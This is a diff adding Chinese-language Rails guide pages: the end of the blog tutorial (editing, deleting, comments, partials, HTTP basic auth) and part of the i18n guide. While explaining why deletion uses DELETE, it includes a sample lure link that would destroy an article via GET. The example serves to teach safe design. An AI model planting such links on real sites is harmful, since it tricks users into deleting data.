首先,要在 ArticlesController 中添加 edit 动作:

+
+def edit
+  @article = Article.find(params[:id])
+end
+
+
+
+

视图中要添加一个类似新建文章的表单。新建 app/views/articles/edit.html.erb 文件,写入下面的代码:

+
+<h1>Editing article</h1>
+
+<%= form_for :article, url: article_path(@article), method: :patch do |f| %>
+  <% if @article.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@article.errors.count, "error") %> prohibited
+      this article from being saved:</h2>
+    <ul>
+    <% @article.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

这里的表单指向 update 动作,现在还没定义,稍后会添加。

method: :patch 选项告诉 Rails,提交这个表单时使用 PATCH 方法发送请求。根据 REST 架构,更新资源时要使用 HTTP PATCH 方法。

form_for 的第一个参数可以是对象,例如 @article,把对象中的字段填入表单。如果传入一个和实例变量(@article)同名的 Symbol(:article),效果也是一样。上面的代码使用的就是 Symbol。详情参见 form_for 的文档

然后,要在 app/controllers/articles_controller.rb 中添加 update 动作:

+
+def update
+  @article = Article.find(params[:id])
+
+  if @article.update(article_params)
+    redirect_to @article
+  else
+    render 'edit'
+  end
+end
+
+private
+  def article_params
+    params.require(:article).permit(:title, :text)
+  end
+
+
+
+

新定义的 update 方法用来处理对现有文章的更新操作,接收一个 Hash,包含想要修改的属性。和之前一样,如果更新文章出错了,要再次显示表单。

上面的代码再次使用了前面为 create 动作定义的 article_params 方法。

不用把所有的属性都提供给 update 动作。例如,如果使用 @article.update(title: 'A new title'),Rails 只会更新 title 属性,不修改其他属性。

最后,我们想在文章列表页面,在每篇文章后面都加上一个链接,指向 edit 动作。打开 app/views/articles/index.html.erb 文件,在“Show”链接后面添加“Edit”链接:

+
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th colspan="2"></th>
+  </tr>
+
+<% @articles.each do |article| %>
+  <tr>
+    <td><%= article.title %></td>
+    <td><%= article.text %></td>
+    <td><%= link_to 'Show', article_path(article) %></td>
+    <td><%= link_to 'Edit', edit_article_path(article) %></td>
+  </tr>
+<% end %>
+</table>
+
+
+
+

我们还要在 app/views/articles/show.html.erb 模板的底部加上“Edit”链接:

+
+...
+
+<%= link_to 'Back', articles_path %>
+| <%= link_to 'Edit', edit_article_path(@article) %>
+
+
+
+

下图是文章列表页面现在的样子:

在文章列表页面显示了编辑链接

5.12 使用局部视图去掉视图中的重复代码

编辑文章页面和新建文章页面很相似,显示表单的代码是相同的。下面使用局部视图去掉两个视图中的重复代码。按照约定,局部视图的文件名以下划线开头。

关于局部视图的详细介绍参阅“Layouts and Rendering in Rails”一文。

新建 app/views/articles/_form.html.erb 文件,写入以下代码:

+
+<%= form_for @article do |f| %>
+  <% if @article.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@article.errors.count, "error") %> prohibited
+      this article from being saved:</h2>
+    <ul>
+    <% @article.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+
+
+

除了第一行 form_for 的用法变了之外,其他代码都和之前一样。之所以能在两个动作中共用一个 form_for,是因为 @article 是一个资源,对应于符合 REST 架构的路由,Rails 能自动分辨使用哪个地址和请求方法。

关于这种 form_for 用法的详细说明,请查阅 API 文档

下面来修改 app/views/articles/new.html.erb 视图,使用新建的局部视图,把其中的代码全删掉,替换成:

+
+<h1>New article</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

然后按照同样地方法修改 app/views/articles/edit.html.erb 视图:

+
+<h1>Edit article</h1>
+
+<%= render 'form' %>
+
+<%= link_to 'Back', articles_path %>
+
+
+
+

5.13 删除文章

现在介绍 CRUD 中的 D,从数据库中删除文章。按照 REST 架构的约定,删除文章的路由是:

+
+DELETE /articles/:id(.:format)      articles#destroy
+
+
+
+

删除资源时使用 DELETE 请求。如果还使用 GET 请求,可以构建如下所示的恶意地址:

+
+<a href='http://example.com/articles/1/destroy'>look at this cat!</a>
+
+
+
+

删除资源使用 DELETE 方法,路由会把请求发往 app/controllers/articles_controller.rb 中的 destroy 动作。destroy 动作现在还不存在,下面来添加:

+
+def destroy
+  @article = Article.find(params[:id])
+  @article.destroy
+
+  redirect_to articles_path
+end
+
+
+
+

想把记录从数据库删除,可以在 Active Record 对象上调用 destroy 方法。注意,我们无需为这个动作编写视图,因为它会转向 index 动作。

最后,在 index 动作的模板(app/views/articles/index.html.erb)中加上“Destroy”链接:

+
+<h1>Listing Articles</h1>
+<%= link_to 'New article', new_article_path %>
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th colspan="3"></th>
+  </tr>
+
+<% @articles.each do |article| %>
+  <tr>
+    <td><%= article.title %></td>
+    <td><%= article.text %></td>
+    <td><%= link_to 'Show', article_path(article) %></td>
+    <td><%= link_to 'Edit', edit_article_path(article) %></td>
+    <td><%= link_to 'Destroy', article_path(article),
+                    method: :delete, data: { confirm: 'Are you sure?' } %></td>
+  </tr>
+<% end %>
+</table>
+
+
+
+

生成“Destroy”链接的 link_to 用法有点不一样,第二个参数是具名路由,随后还传入了几个参数。:method:'data-confirm' 选项设置链接的 HTML5 属性,点击链接后,首先会显示一个对话框,然后发起 DELETE 请求。这两个操作通过 jquery_ujs 这个 JavaScript 脚本实现。生成程序骨架时,会自动把 jquery_ujs 加入程序的布局中(app/views/layouts/application.html.erb)。没有这个脚本,就不会显示确认对话框。

确认对话框

恭喜,现在你可以新建、显示、列出、更新、删除文章了。

一般情况下,Rails 建议使用资源对象,而不手动设置路由。关于路由的详细介绍参阅“Rails 路由全解”一文。

6 添加第二个模型

接下来要在程序中添加第二个模型,用来处理文章的评论。

6.1 生成模型

下面要用到的生成器,和之前生成 Article 模型的一样。我们要创建一个 Comment 模型,表示文章的评论。在终端执行下面的命令:

+
+$ rails generate model Comment commenter:string body:text article:references
+
+
+
+

这个命令生成四个文件:

+ + + + + + + + + + + + + + + + + + + + + + + + + +
文件作用
db/migrate/20140120201010_create_comments.rb生成 comments 表所用的迁移文件(你得到的文件名稍有不同)
app/models/comment.rbComment 模型文件
test/models/comment_test.rbComment 模型的测试文件
test/fixtures/comments.yml测试时使用的固件
+

首先来看一下 app/models/comment.rb 文件:

+
+class Comment < ActiveRecord::Base
+  belongs_to :article
+end
+
+
+
+

文件的内容和前面的 Article 模型差不多,不过多了一行代码:belongs_to :article。这行代码用来建立 Active Record 关联。下文会简单介绍关联。

除了模型文件,Rails 还生成了一个迁移文件,用来创建对应的数据表:

+
+class CreateComments < ActiveRecord::Migration
+  def change
+    create_table :comments do |t|
+      t.string :commenter
+      t.text :body
+
+      # this line adds an integer column called `article_id`.
+      t.references :article, index: true
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

t.references 这行代码为两个模型的关联创建一个外键字段,同时还为这个字段创建了索引。下面运行这个迁移:

+
+$ rake db:migrate
+
+
+
+

Rails 相当智能,只会执行还没有运行的迁移,在命令行中会看到以下输出:

+
+==  CreateComments: migrating =================================================
+-- create_table(:comments)
+   -> 0.0115s
+==  CreateComments: migrated (0.0119s) ========================================
+
+
+
+

6.2 模型关联

使用 Active Record 关联可以轻易的建立两个模型之间的关系。评论和文章之间的关联是这样的:

+
    +
  • 评论属于一篇文章
  • +
  • 一篇文章有多个评论
  • +
+

这种关系和 Rails 用来声明关联的句法具有相同的逻辑。我们已经看过 Comment 模型中那行代码,声明评论属于文章:

+
+class Comment < ActiveRecord::Base
+  belongs_to :article
+end
+
+
+
+

我们要编辑 app/models/article.rb 文件,加入这层关系的另一端:

+
+class Article < ActiveRecord::Base
+  has_many :comments
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+
+
+
+

这两行声明能自动完成很多操作。例如,如果实例变量 @article 是一个文章对象,可以使用 @article.comments 取回一个数组,其元素是这篇文章的评论。

关于 Active Record 关联的详细介绍,参阅“Active Record 关联”一文。

6.3 添加评论的路由

article 控制器一样,添加路由后 Rails 才知道在哪个地址上查看评论。打开 config/routes.rb 文件,按照下面的方式修改:

+
+resources :articles do
+  resources :comments
+end
+
+
+
+

我们把 comments 放在 articles 中,这叫做嵌套资源,表明了文章和评论间的层级关系。

关于路由的详细介绍,参阅“Rails 路由全解”一文。

6.4 生成控制器

有了模型,下面要创建控制器了,还是使用前面用过的生成器:

+
+$ rails generate controller Comments
+
+
+
+

这个命令生成六个文件和一个空文件夹:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
文件/文件夹作用
app/controllers/comments_controller.rbComments 控制器文件
app/views/comments/控制器的视图存放在这个文件夹里
test/controllers/comments_controller_test.rb控制器测试文件
app/helpers/comments_helper.rb视图帮助方法文件
test/helpers/comments_helper_test.rb帮助方法测试文件
app/assets/javascripts/comment.js.coffee控制器的 CoffeeScript 文件
app/assets/stylesheets/comment.css.scss控制器的样式表文件
+

在任何一个博客中,读者读完文章后就可以发布评论。评论发布后,会转向文章显示页面,查看自己的评论是否显示出来了。所以,CommentsController 中要定义新建评论的和删除垃圾评论的方法。

首先,修改显示文章的模板(app/views/articles/show.html.erb),允许读者发布评论:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', articles_path %>
+| <%= link_to 'Edit', edit_article_path(@article) %>
+
+
+
+

上面的代码在显示文章的页面添加了一个表单,调用 CommentsController 控制器的 create 动作发布评论。form_for 的参数是个数组,构建嵌套路由,例如 /articles/1/comments

下面在 app/controllers/comments_controller.rb 文件中定义 create 方法:

+
+class CommentsController < ApplicationController
+  def create
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
+  end
+
+  private
+    def comment_params
+      params.require(:comment).permit(:commenter, :body)
+    end
+end
+
+
+
+

这里使用的代码要比文章的控制器复杂得多,因为设置了嵌套关系,必须这么做评论功能才能使用。发布评论时要知道这个评论属于哪篇文章,所以要在 Article 模型上调用 find 方法查找文章对象。

而且,这段代码还充分利用了关联关系生成的方法。我们在 @article.comments 上调用 create 方法,创建并保存评论。这么做能自动把评论和文章联系起来,让这个评论属于这篇文章。

添加评论后,调用 article_path(@article) 帮助方法,转向原来的文章页面。前面说过,这个帮助函数调用 ArticlesControllershow 动作,渲染 show.html.erb 模板。我们要在这个模板中显示评论,所以要修改一下 app/views/articles/show.html.erb

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<% @article.comments.each do |comment| %>
+  <p>
+    <strong>Commenter:</strong>
+    <%= comment.commenter %>
+  </p>
+
+  <p>
+    <strong>Comment:</strong>
+    <%= comment.body %>
+  </p>
+<% end %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
+
+
+
+

现在,可以为文章添加评论了,成功添加后,评论会在正确的位置显示。

文章的评论

7 重构

现在博客的文章和评论都能正常使用了。看一下 app/views/articles/show.html.erb 模板,内容太多。下面使用局部视图重构。

7.1 渲染局部视图中的集合

首先,把显示文章评论的代码抽出来,写入局部视图中。新建 app/views/comments/_comment.html.erb 文件,写入下面的代码:

+
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+
+
+

然后把 app/views/articles/show.html.erb 修改成:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @article.comments %>
+
+<h2>Add a comment:</h2>
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
+
+
+
+

这个视图会使用局部视图 app/views/comments/_comment.html.erb 渲染 @article.comments 集合中的每个评论。render 方法会遍历 @article.comments 集合,把每个评论赋值给一个和局部视图同名的本地变量,在这个例子中本地变量是 comment,这个本地变量可以在局部视图中使用。

7.2 渲染局部视图中的表单

我们把添加评论的代码也移到局部视图中。新建 app/views/comments/_form.html.erb 文件,写入:

+
+<%= form_for([@article, @article.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br>
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br>
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
+
+
+

然后把 app/views/articles/show.html.erb 改成:

+
+<p>
+  <strong>Title:</strong>
+  <%= @article.title %>
+</p>
+
+<p>
+  <strong>Text:</strong>
+  <%= @article.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @article.comments %>
+
+<h2>Add a comment:</h2>
+<%= render "comments/form" %>
+
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
+
+
+
+

第二个 render 方法的参数就是要渲染的局部视图,即 comments/form。Rails 很智能,能解析其中的斜线,知道要渲染 app/views/comments 文件夹中的 _form.html.erb 模板。

@article 变量在所有局部视图中都可使用,因为它是实例变量。

8 删除评论

博客还有一个重要的功能是删除垃圾评论。为了实现这个功能,要在视图中添加一个链接,并在 CommentsController 中定义 destroy 动作。

先在 app/views/comments/_comment.html.erb 局部视图中加入删除评论的链接:

+
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+<p>
+  <%= link_to 'Destroy Comment', [comment.article, comment],
+               method: :delete,
+               data: { confirm: 'Are you sure?' } %>
+</p>
+
+
+
+

点击“Destroy Comment”链接后,会向 CommentsController 控制器发起 DELETE /articles/:article_id/comments/:id 请求。我们可以从这个请求中找到要删除的评论。下面在控制器中加入 destroy 动作(app/controllers/comments_controller.rb):

+
+class CommentsController < ApplicationController
+  def create
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.create(comment_params)
+    redirect_to article_path(@article)
+  end
+
+  def destroy
+    @article = Article.find(params[:article_id])
+    @comment = @article.comments.find(params[:id])
+    @comment.destroy
+    redirect_to article_path(@article)
+  end
+
+  private
+    def comment_params
+      params.require(:comment).permit(:commenter, :body)
+    end
+end
+
+
+
+

destroy 动作先查找当前文章,然后在 @article.comments 集合中找到对应的评论,将其从数据库中删掉,最后转向显示文章的页面。

8.1 删除关联对象

如果删除一篇文章,也要删除文章中的评论,不然这些评论会占用数据库空间。在 Rails 中可以在关联中指定 dependent 选项达到这一目的。把 Article 模型(app/models/article.rb)修改成:

+
+class Article < ActiveRecord::Base
+  has_many :comments, dependent: :destroy
+  validates :title, presence: true,
+                    length: { minimum: 5 }
+end
+
+
+
+

9 安全

9.1 基本认证

如果把这个博客程序放在网上,所有人都能添加、编辑、删除文章和评论。

Rails 提供了一种简单的 HTTP 身份认证机制可以避免出现这种情况。

ArticlesController 中,我们要用一种方法禁止未通过认证的用户访问其中几个动作。我们需要的是 http_basic_authenticate_with 方法,通过这个方法的认证后才能访问所请求的动作。

要使用这个身份认证机制,需要在 ArticlesController 控制器的顶部调用 http_basic_authenticate_with 方法。除了 indexshow 动作,访问其他动作都要通过认证,所以在 app/controllers/articles_controller.rb 中,要这么做:

+
+class ArticlesController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
+
+  def index
+    @articles = Article.all
+  end
+
+  # snipped for brevity
+
+
+
+

同时,我们还希望只有通过认证的用户才能删除评论。修改 CommentsController 控制器(app/controllers/comments_controller.rb):

+
+class CommentsController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
+
+  def create
+    @article = Article.find(params[:article_id])
+    ...
+  end
+
+  # snipped for brevity
+
+
+
+

现在,如果想新建文章,会看到一个 HTTP 基本认证对话框。

HTTP 基本认证对话框

其他的身份认证方法也可以在 Rails 程序中使用。其中两个比较流行的是 Devise 引擎和 Authlogic gem。

9.2 其他安全注意事项

安全,尤其是在网页程序中,是个很宽泛和值得深入研究的领域。Rails 程序的安全措施,在“Ruby on Rails 安全指南”中有更深入的说明。

10 接下来做什么

至此,我们开发了第一个 Rails 程序,请尽情地修改、试验。在开发过程中难免会需要帮助,如果使用 Rails 时需要协助,可以使用这些资源:

+ +

Rails 本身也提供了帮助文档,可以使用下面的 rake 任务生成:

+
    +
  • 运行 rake doc:guides,会在程序的 doc/guides 文件夹中生成一份 Rails 指南。在浏览器中打开 doc/guides/index.html 可以查看这份指南。
  • +
  • 运行 rake doc:rails,会在程序的 doc/api 文件夹中生成一份完整的 API 文档。在浏览器中打开 doc/api/index.html 可以查看 API 文档。
  • +
+

使用 doc:guides 任务在本地生成 Rails 指南,要安装 RedCloth gem。在 Gemfile 中加入这个 gem,然后执行 bundle install 命令即可。

11 常见问题

使用 Rails 时,最好使用 UTF-8 编码存储所有外部数据。如果没使用 UTF-8 编码,Ruby 的代码库和 Rails 一般都能将其转换成 UTF-8,但不一定总能成功,所以最好还是确保所有的外部数据都使用 UTF-8 编码。

如果编码出错,常见的征兆是浏览器中显示很多黑色方块和问号。还有一种常见的符号是“ü”,包含在“ü”中。Rails 内部采用很多方法尽量避免出现这种问题。如果你使用的外部数据编码不是 UTF-8,有时会出现这些问题,Rails 无法自动纠正。

非 UTF-8 编码的数据经常来源于:

+
    +
  • 你的文本编辑器:大多数文本编辑器(例如 TextMate)默认使用 UTF-8 编码保存文件。如果你的编辑器没使用 UTF-8 编码,有可能是你在模板中输入了特殊字符(例如 é),在浏览器中显示为方块和问号。这种问题也会出现在国际化文件中。默认不使用 UTF-8 保存文件的编辑器(例如 Dreamweaver 的某些版本)都会提供一种方法,把默认编码设为 UTF-8。记得要修改。
  • +
  • 你的数据库:默认情况下,Rails 会把从数据库中取出的数据转换成 UTF-8 格式。如果数据库内部不使用 UTF-8 编码,就无法保存用户输入的所有字符。例如,数据库内部使用 Latin-1 编码,用户输入俄语、希伯来语或日语字符时,存进数据库时就会永远丢失。如果可能,在数据库中尽量使用 UTF-8 编码。
  • +
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/i18n.html b/v4.1/i18n.html new file mode 100644 index 0000000..49ecb8c --- /dev/null +++ b/v4.1/i18n.html @@ -0,0 +1,1183 @@ + + + + + + + +Rails 国际化 API — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Rails 国际化 API

Rails 内建支持 Ruby I18n(internationalization 的简写)。Ruby I18n 这个 gem 用法简单,是个扩展性强的框架,可以把程序翻译成英语之外的其他语言,或者为程序提供多种语言支持。

“国际化”是指把程序中的字符串或者其他需要本地化的内容(例如,日期和货币的格式)提取出来的过程。“本地化”是指把提取出来的内容翻译成本地语言或者本地所用格式的过程。

所以在 Rails 程序国际化的过程中要做这些事情:

+
    +
  • 确保程序支持 i18n;
  • +
  • 告诉 Rails 在哪里寻找本地语言包;
  • +
  • 告诉 Rails 怎么设置、保存和切换本地语言包;
  • +
+

在本地化程序的过程中或许要做以下三件事:

+
    +
  • 修改或提供 Rails 默认使用的本地语言包,例如,日期和时间的格式、月份名、Active Record 模型名等;
  • +
  • 把程序中的字符串提取出来,保存到键值对中,例如 Flash 消息、视图中的纯文本等;
  • +
  • 在某个地方保存语言包;
  • +
+

本文会详细介绍 I18n API,并提供一个教程,演示如何从头开始国际化一个 Rails 程序。

读完本文,你将学到:

+
    +
  • Ruby on Rails 是如何处理 i18n 的;
  • +
  • 如何在 REST 架构的程序中正确使用 i18n;
  • +
  • 如何使用 i18n 翻译 ActiveRecord 错误和 ActionMailer E-mail;
  • +
  • 协助翻译程序的工具;
  • +
+ + + + +
+
+ +
+
+
+

Ruby I18n 框架提供了 Rails 程序国际化和本地化所需的各种功能。不过,还可以使用各种插件和扩展,添加额外的功能。详情参见 Ruby I18n 的维基

1 Ruby on Rails 是如何处理 i18n 的

国际化是个很复杂的问题。自然语言千差万别(例如复数变形规则),很难提供一种工具解决所有问题。因此,Rails I18n API 只关注:

+
    +
  • 默认支持和英语类似的语言;
  • +
  • 让支持其他语言变得简单;
  • +
+

Rails 框架中的每个静态字符串(例如,Active Record 数据验证消息,日期和时间的格式)都支持国际化,因此本地化时只要重写默认值即可。

1.1 Ruby I18n 的整体架构

Ruby I18n 分成两部分:

+
    +
  • 公开的 API:这是一个 Ruby 模块,定义了库中可用的公开方法;
  • +
  • 一个默认的后台(特意取名为“Simple”),实现这些方法;
  • +
+

普通用户只要使用这些公开方法即可,但了解后台的功能也有助于使用 i18n API。

默认提供的“Simple”后台可以用其他强大的后台替代(推荐这么做),例如把翻译后的数据存储在关系型数据库中,或 GetText 语言包中。详情参见下文的“使用其他后台”一节。

1.2 公开 API

I18n API 最重要的方法是:

+
+translate # Lookup text translations
+localize  # Localize Date and Time objects to local formats
+
+
+
+

这两个方法都有别名,分别为 #t#l。因此可以这么用:

+
+I18n.t 'store.title'
+I18n.l Time.now
+
+
+
+

I18n API 同时还提供了针对下述属性的读取和设值方法:

+
+load_path         # Announce your custom translation files
+locale            # Get and set the current locale
+default_locale    # Get and set the default locale
+exception_handler # Use a different exception_handler
+backend           # Use a different backend
+
+
+
+

下一节起,我们要从零开始国际化一个简单的 Rails 程序。

2 为国际化做准备

为程序提供 I18n 支持只需简单几步。

2.1 配置 I18n 模块

按照“多约定,少配置”原则,Rails 会为程序提供一些合理的默认值。如果想使用其他设置,可以很容易的改写默认值。

Rails 会自动把 config/locales 文件夹中所有 .rb.yml 文件加入译文加载路径

默认提供的 en.yml 文件中包含一些简单的翻译文本:

+
+en:
+  hello: "Hello world"
+
+
+
+

上面这段代码的意思是,在 :en 语言中,hello 键映射到字符串 "Hello world" 上。Rails 中的每个字符串的国际化都使用这种方式,比如说 Active Model 数据验证消息以及日期和时间格式。在默认的后台中,可以使用 YAML 或标准的 Ruby Hash 存储翻译数据。

I18n 库使用的默认语言是英语,所以如果没设为其他语言,就会用 :en 查找翻译数据。

经过讨论之后,i18n 库决定为语言名称使用一种务实的方案,只说明所用语言(例如,:en:pl),不区分地区(例如,:en-US:en-GB)。地区经常用来区分同一语言在不同地区的分支或者方言。很多国际化程序只使用语言名称,例如 :cs:th:es(分别为捷克语,泰语和西班牙语)。不过,同一语种在不同地区可能有重要差别。例如,在 :en-US 中,货币符号是“$”,但在 :en-GB 中是“£”。在 Rails 中使用区分地区的语言设置也是可行的,只要在 :en-GB 中使用完整的“English - United Kingdom”即可。很多 Rails I18n 插件,例如 Globalize3,都可以实现。

译文加载路径I18n.load_path)是一个 Ruby 数组,由译文文件的路径组成,Rails 程序会自动加载这些文件。你可以使用任何一个文件夹,任何一种文件命名方式。

首次加载查找译文时,后台会惰性加载这些译文。这么做即使已经声明过,也可以更换所用后台。

application.rb 文件中的默认内容有介绍如何从其他文件夹中添加本地数据,以及如何设置默认使用的语言。去掉相关代码行前面的注释,修改即可。

+
+# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+# config.i18n.default_locale = :de
+
+
+
+

2.2 (选做)更改 I18n 库的设置

如果基于某些原因不想使用 application.rb 文件中的设置,我们来介绍一下手动设置的方法。

告知 I18n 库在哪里寻找译文文件,可以在程序的任何地方指定加载路径。但要保证这个设置要在加载译文之前执行。我们可能还要修改默认使用的语言。要完成这两个设置,最简单的方法是把下面的代码放到一个初始化脚本中:

+
+# in config/initializers/locale.rb
+
+# tell the I18n library where to find your translations
+I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')]
+
+# set default locale to something other than :en
+I18n.default_locale = :pt
+
+
+
+

2.3 设置并传入所用语言

如果想把 Rails 程序翻译成英语(默认语言)之外的其他语言,可以在 application.rb 文件或初始化脚本中设置 I18n.default_locale 选项。这个设置对所有请求都有效。

不过,或许你希望为程序提供多种语言支持。此时,需要在请求中指定所用语言。

你可能想过把用户选择适用的语言保存在会话或 cookie 中,请千万别这么做。所用语言应该是透明的,写在 URL 中。这样做不会破坏用户对网页内容的预想,如果把 URL 发给一个朋友,他应该看到和我相同的内容。这种方式在 REST 架构中很容易实现。不过也有不适用 REST 架构的情况,后文会说明。

设置所用语言的方法很简单,只需在 ApplicationControllerbefore_action 中作如下设定即可:

+
+before_action :set_locale
+
+def set_locale
+  I18n.locale = params[:locale] || I18n.default_locale
+end
+
+
+
+

使用这种方法要把语言作为 URL 查询参数传入,例如 http://example.com/books?locale=pt(这是 Google 使用的方法)。http://localhost:3000?locale=pt 会加载葡萄牙语,http://localhost:3000?locale=de 会加载德语,以此类推。如果想手动在 URL 中指定语言再刷新页面,可以跳过后面几小节,直接阅读“国际化程序”一节。

当然了,你可能并不想手动在每个 URL 中指定语言,或者想使用其他形式的 URL,例如 http://example.com/pt/bookshttp://example.com/en/books。下面分别介绍其他各种设置语言的方法。

2.4 使用不同的域名加载不同的语言

设置所用语言可以通过不同的域名实现。例如,www.example.com 加载英语内容,www.example.es 加载西班牙语内容。这里使用的是不同的顶级域名。这么做有多个好处:

+
    +
  • 所用语言在 URL 中很明显;
  • +
  • 用户很容易得知所查看内容使用的语言;
  • +
  • 在 Rails 中可以轻松实现;
  • +
  • 搜索引擎似乎喜欢把不同语言的内容放在不同但相互关联的域名上;
  • +
+

ApplicationController 中加入如下代码可以实现这种处理方式:

+
+before_action :set_locale
+
+def set_locale
+  I18n.locale = extract_locale_from_tld || I18n.default_locale
+end
+
+# Get locale from top-level domain or return nil if such locale is not available
+# You have to put something like:
+#   127.0.0.1 application.com
+#   127.0.0.1 application.it
+#   127.0.0.1 application.pl
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_tld
+  parsed_locale = request.host.split('.').last
+  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+end
+
+
+
+

类似地,还可以使用不同的二级域名提供不同语言的内容:

+
+# Get locale code from request subdomain (like http://it.application.local:3000)
+# You have to put something like:
+#   127.0.0.1 gr.application.local
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_subdomain
+  parsed_locale = request.subdomains.first
+  I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+end
+
+
+
+

如果程序中需要切换语言的连接,可以这么写:

+
+link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
+
+
+
+

上述代码假设 APP_CONFIG[:deutsch_website_url] 的值为 http://www.application.de

这种方法虽有种种好处,但你或许不想在不同的域名上提供不同语言的内容。最好的实现方式肯定是在 URL 的参数中加上语言代码。

2.5 在 URL 参数中设置所用语言

The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the I18n.locale = params[:locale] before_action in the first example. We would like to have URLs like www.example.com/books?locale=ja or www.example.com/ja/books in this case.

This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.

Getting the locale from params and setting it accordingly is not hard; including it in every URL and thus passing it through the requests is. To include an explicit option in every URL (e.g. link_to( books_url(/service/locale: I18n.locale))) would be tedious and probably impossible, of course.

Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its ApplicationController#default_url_options, which is useful precisely in this scenario: it enables us to set "defaults" for url_for and helper methods dependent on it (by implementing/overriding this method).

We can include something like this in our ApplicationController then:

+
+# app/controllers/application_controller.rb
+def default_url_options(options={})
+  logger.debug "default_url_options is passed options: #{options.inspect}\n"
+  { locale: I18n.locale }
+end
+
+
+
+

Every helper method dependent on url_for (e.g. helpers for named routes like root_path or root_url, resource routes like books_path or books_url, etc.) will now automatically include the locale in the query string, like this: http://localhost:3001/?locale=ja.

